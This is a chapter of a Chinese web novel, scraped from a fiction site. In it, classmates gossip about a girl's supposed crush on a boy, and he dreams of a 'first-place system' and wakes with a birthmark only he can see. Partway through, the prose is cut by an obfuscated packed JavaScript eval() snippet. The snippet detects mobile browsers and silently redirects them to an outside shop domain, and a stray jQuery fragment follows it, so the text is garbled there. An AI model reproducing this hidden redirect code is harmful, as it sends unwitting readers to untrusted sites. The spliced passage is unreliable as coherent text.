文趣网 > 都市小说 > 我不考第一,你真的会死 > 20. 你有什么证据?
    黎初欣赏自己的作品,确实拍的不错——当遗照拍的,她都差点跪下了,能不好吗?

    果然人被逼到一定份儿上,就能爆发出难以想象的潜能。

    欣赏完那组照片,黎初没忍住手指向下划拉,逛了逛他的微博。

    都是一些帅照片。

    文案一股人机味儿,像AI写的。

    他在平台上这种高贵冷艳的画风,简直让她有种割裂感。

    黎初翻了一会儿就退出来了,退出来前没忘点了个关注。

    手机上的界面还停留在郁泊言的微博主页,恰巧一个女同学从黎初身后经过,无意中一眼瞥见黎初竟然在刷郁泊言微博,当即瞪大了眼睛。

    好家伙呀,那会儿论坛里才在说你搞暗恋,现在演都不演了。

    八卦之心熊熊燃烧,那女同学一个没忍住,直接把证据拍了下来。

    刚拍完,黎初突然从座位上站了起来,身后正在搞偷怕的同学吓一跳,以为偷拍被发现了,登时一阵心虚。

    结果黎初根本没留意到这边的动静,一副心情颇好的模样,对着刚刚推门进来的班主任高高举手。

    班主任眼神看过来,以为黎初又要搞什么东西,下意识一脸戒备,怎知,黎初却是道:“老师,我要请假一周!”

    此言一出,四下皆惊。

    什么?这学习狂竟然舍得请假?

    不但要请假,还一请请一周?

    他们有些怀疑自己的耳朵,这简直比听到这人暗恋郁泊言还要更让他们吃惊好吧。

    班主任虽然奇怪,但见她好不容易看着正常了,理由都没问,直接准了。

    预料之中,黎初肉眼可见的高兴,当下道了谢,欢欢喜喜拎着书包出了门,连新发下来的作业都没带。

    众人目送她走出教室,面面相觑。

    ——这是......转性了?

    ......

    与此同时,六班人也没有放过这一八卦,也对围巾事件议论纷纷。

    提到那个围巾,他们想法比九班更极端一点,第一反应竟然是会不会是黎初偷了郁泊言的围巾,毕竟以她的人品什么干不出来。

    总之,无论是偷的,还是自己故意买的,都已经很能说明问题了。

    “这都不能说是暗恋了,这都明恋了吧?”

    “郁泊言真的有点惨,只是替天行道一下,被沾上了。”

    “不是,哈哈哈真的好搞笑这人,她不会真以为跟人对着干就能吸引到对方吧?偶像剧看坏了脑子吧。”

    “这个黎初真的蛮有意思的,每天都在产出笑料,不带重样的。”

    “等等,等等同志们!又有新料了。”

    “什么呀,什么新料?”

    “九班人发的照片,黎初偷刷郁泊言主页实锤!有图有真相。”

    “我看看.......哇,演都不演了.......”

    郁泊言进教室,在一片闹哄哄的嬉笑议论声中听见黎初的名字,眉不由得一蹙。

    实际上,他并没有听清他们具体在说什么,但看他们的表情就知道又不是什么好话。

    的确,他极不喜欢黎初,他跟她过节甚多。

    但知道她前段时间精神病,他对她的讨厌已消下去了不少。

    他自己都不说什么了,这些无关人员却是没完没了,一天天地做文章,让人心生烦躁无名火起。

    郁泊言素来不屑于掩藏情绪,当下蹙眉,望向那些人忍不住发作道:“议论别人就这么有意思?”

    他这么一喊,教室瞬时安静了不少,氛围一时间有些尴尬。

    孙仲然见状,忍不住道:“大家也是好意,泊言你不知道,黎初她果然对你不怀好意,她、她......”

    郁泊言看过去:“她怎么了?”

    孙仲然迎着他审视的目光,似乎有点难为情,像在说一件明知道会惹他不快的事,犹疑了一下,才破罐子破摔般说道:“她暗恋你!”

    郁泊言看过去,表情奇怪,“......你有什么证据?”

    孙仲然:?

    众人:?

    在场皆是一愣,没想到他会这么问。

    他们觉得这句话对郁泊言是个侮辱,他们觉得他定会反感异常,他们觉得他听到这种话必定会大发雷霆,他们都做好了被他冷脸发作的准备——结果他来这么一句,一下子把他们给整失语了。

    这么严谨的吗?

    证......证据?

    孙仲然缓了一会儿,开口:“她故意戴了跟你同款的围巾,上面还有一个超明显的‘郁’字儿!”

    “就这?”

    郁泊言讨了个没趣。

    这算什么破证据。大惊小怪。

    一个围巾能证明什么,更何况那个围巾还是他亲手递过去的。

    “还有呢,她偷偷刷你微博!不暗恋你干嘛刷你主页?”

    郁泊言原本放了背包要坐下,当下动作硬生生停住,扭头直直看向说话的人。

    郁泊言的表情比方才更加奇怪,也更加复杂,黑眸中因太多情绪而显得有些凶,却并不像生气的样子,“你看见了?”

    “有图有真相!”

    孙仲然忙拿了手机过去,扒着屏幕给他看证据,把黎初被拍到的照片怼到了他面前。

    照片是一个从背后拍摄影的偷拍视角,黎初正托腮刷微博,手机屏幕界面模糊但能看出是他的主页无异。

    郁泊言不说话,拿着孙仲然的手机放大又缩小,缩小又放大,眼睛直勾勾,眸中情绪负载,眼神显得更凶了。

    “哎呦,别生气别生气,以后提防着点就行。”

    孙仲然拿回手机,郁泊言的目光却仍定定落在他手机上,欲言又止,终于开口:“照片发我。”

    “取证是吧,没问题!”

    孙仲然看热闹不嫌事儿大,当场把照片传了过去。

    此后郁泊言像病了,趴在桌子上,整个人陷入了漫长的沉默。

    上课铃响,老师在上面讲课,郁泊言只是趴在那里,沉默地点开自己的微博,一条一条地机械地上下划拉。

    郁泊言保持那个姿势大半节课,发呆了半节课,老师终于看过来,忍不住出声提醒:“郁泊言,手机收起来。”

    郁泊言于是把手机倒扣在了桌子上,身体却仍是软软趴在那里,一言不发。

    下课,手机响了,接到经纪人电话。

    经纪人在那边,莫名其妙的语气:“你微博刚刚被删了好几条,你自己删的?”

    郁泊言软趴趴,神情恹恹,“嗯。”

    经纪人不解:“以前的照片你没事儿删它干什么?”

    “感觉不好看。”郁泊言说。

    经纪人:?

    “那都多久之前的照片了,怎么就今天突然觉得不好看了。”

    郁泊言蹙眉,似乎嫌经纪人啰嗦,顿了一会儿,不悦道:“万一有新粉考古呢。”

    云里雾里的啥玩意儿,经纪人理解不了也就不理解了,当下转了话题,跟他确认了下后面要推进的一些事。

    经纪人叭叭地讲,郁泊言听着,只记了个重点,神思又飘到了别处。

    他可不会觉得她真的“暗恋”他。

    正因为知道她不会,所以心里才更加刺挠——她到底什么意思?

    为什么突然逛他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574680|204702||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    微博?她想看什么?想看他?为什么想看他?.......

    这个人,她到底想干什么?

    这个问题一直到晚上,郁泊言都没想明白。

    想不明白也不想放过,就想继续想,于是辗转反侧,寤寐思服,一直到天快亮的时候才堪堪睡着。

    迷迷糊糊中,他和她仿佛又回到了那间器材室。

    还是在那个地方,对面的人踮起脚尖,猛地吻住了他。

    不一样的是,在她要逃跑的时候,这一次,他抓住了她。

    他似乎在梦里都很愤怒,想剖开她的心问问她到底想干嘛,他太恨了,在梦里终于抓住了这个挑衅完又想逃跑的她。

    她的手腕被他抓着,整个人被他困在墙壁和胸膛之间,他低头,是一双泛着湿气和水雾的眼睛,眼底深处是他熟悉的敌意和厌恶。

    她的皮肤好白,肌肤相接的地方像贴着一块质地细腻的白玉,触感真实得可怕。

    他似乎从来没有盯着他的这位敌人看这么久。

    因为在梦里,所以肆无忌惮。

    他死死盯着那张脸,似乎仍嫌不够,想要将这个人看得更清楚,微微俯身,和那个人靠得更近,更近......

    ......

    不知过了多久,怀里的人突然消失。

    猝不及防的,毫无预兆的,无影无踪的,消失了。

    他剧烈喘息着,胸口起伏,有些不知所措。

    紧接着,周围场景变幻,似乎什么都消失了,只剩下白茫茫一片。

    空寂的混沌里,一道冰冷、机械、毫无起伏的电子音突兀响起——

    【恭喜宿主,只能考第一系统换绑成功~】

    那声音刺耳,尖锐,刺得人神经线发疼。

    郁泊言尚且来不及分辨这句话的含义,肩头突然传来一阵灼烧的刺痛,他猛地睁眼,豁然从床上坐了起来。

    郁泊言醒来,呼吸有些粗,床榻之间一片混乱。

    梦中那些乱糟糟的场景在脑海中闪过,郁泊言心中似有重锤碾过。

    他呆坐着,半是震惊,半是气恼羞愤,在床上坐了许久,臭着一张脸去了卫生间。

    郁泊言身体僵硬站在那里,神情复杂至极,久久不能回神。

    简直荒唐,他都梦到了什么?他......

    他的心脏在跳,快得叫他不安。

    他究竟在想什么,究竟想要什么,如今全然乱成了一团解不开也理不清的麻线。

    光膀子在卫生间搓衣服,洗完衣服晾好,郁泊言站在梳洗镜前俯身掬起冷水洗脸,抬手擦去水珠的瞬间,视线无意间扫过镜面,目光骤然定格。

    他看到,镜子里自己左肩上不知道什么时候多了一块胎记。朱红色,铜钱形状,外圆内方,在冷白的皮肤上,分外鲜艳明显。

    郁泊言愣了下,慌忙伸手去摸,用水洗,用手搓,却怎么也弄不掉。

    郁泊言这个时候才关注到关于那个梦被他忽视的后半段——他想起了那道机械音,也想到了那个系统。

    只能考第一系统.......

    换绑成功......

    这个梦,似乎呼应上了黎初的话。

    郁泊言心中不安起来,套上衣服出了门,在客厅正好撞上郁父要出门,当场扒着衣领让亲爹看,问有没有东西,亲爹一脸莫名其妙,以为他没睡醒撒癔症。

    一顿验证折腾,郁泊言发现那块胎记竟真的只有他自己能看见。

    丝丝缕缕密密麻麻的凉意渗出来,郁泊言脸色瞬间一白。

    这特么还是他认识的世界么?

    难道那小精神病……真不是精神病?